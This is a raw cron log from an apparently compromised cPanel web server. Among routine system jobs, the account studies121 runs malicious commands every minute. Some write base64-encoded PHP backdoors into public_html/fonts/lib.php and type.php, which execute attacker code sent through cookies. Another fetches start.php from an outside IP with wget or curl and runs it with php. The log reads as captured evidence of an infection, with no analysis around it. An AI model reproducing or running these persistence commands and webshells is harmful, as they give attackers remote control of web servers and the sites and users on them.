Sep 11 07:33:01 ip-184-168-122-23 CROND[25589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:33:01 ip-184-168-122-23 CROND[25592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:34:01 ip-184-168-122-23 CROND[25769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:34:01 ip-184-168-122-23 CROND[25771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:34:01 ip-184-168-122-23 CROND[25772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:34:01 ip-184-168-122-23 CROND[25773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:34:01 ip-184-168-122-23 CROND[25775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25888]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:35:01 ip-184-168-122-23 CROND[25892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:35:01 ip-184-168-122-23 CROND[25889]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:36:01 ip-184-168-122-23 CROND[25995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:36:01 ip-184-168-122-23 CROND[25997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:36:01 ip-184-168-122-23 CROND[25998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:36:01 ip-184-168-122-23 CROND[26000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:36:01 ip-184-168-122-23 CROND[25999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:37:01 ip-184-168-122-23 CROND[26095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:37:01 ip-184-168-122-23 CROND[26097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:37:01 ip-184-168-122-23 CROND[26100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:37:01 ip-184-168-122-23 CROND[26098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:38:01 ip-184-168-122-23 CROND[26177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:38:01 ip-184-168-122-23 CROND[26180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:38:01 ip-184-168-122-23 CROND[26179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:38:01 ip-184-168-122-23 CROND[26181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:38:01 ip-184-168-122-23 CROND[26182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:39:01 ip-184-168-122-23 CROND[26268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:39:01 ip-184-168-122-23 CROND[26272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:39:01 ip-184-168-122-23 CROND[26270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:39:01 ip-184-168-122-23 CROND[26271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:39:01 ip-184-168-122-23 CROND[26273]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:40:01 ip-184-168-122-23 CROND[26450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:40:01 ip-184-168-122-23 CROND[26457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:41:02 ip-184-168-122-23 CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:41:02 ip-184-168-122-23 CROND[26576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:41:02 ip-184-168-122-23 CROND[26578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:41:02 ip-184-168-122-23 CROND[26577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:42:01 ip-184-168-122-23 CROND[26699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:42:01 ip-184-168-122-23 CROND[26701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:42:01 ip-184-168-122-23 CROND[26702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:42:01 ip-184-168-122-23 CROND[26703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:42:01 ip-184-168-122-23 CROND[26705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:43:01 ip-184-168-122-23 CROND[26811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:43:01 ip-184-168-122-23 CROND[26816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:43:01 ip-184-168-122-23 CROND[26813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:43:01 ip-184-168-122-23 CROND[26814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:44:01 ip-184-168-122-23 CROND[26902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:44:01 ip-184-168-122-23 CROND[26904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:44:01 ip-184-168-122-23 CROND[26905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:44:01 ip-184-168-122-23 CROND[26906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:44:01 ip-184-168-122-23 CROND[26909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:45:01 ip-184-168-122-23 CROND[27014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:45:01 ip-184-168-122-23 CROND[27017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
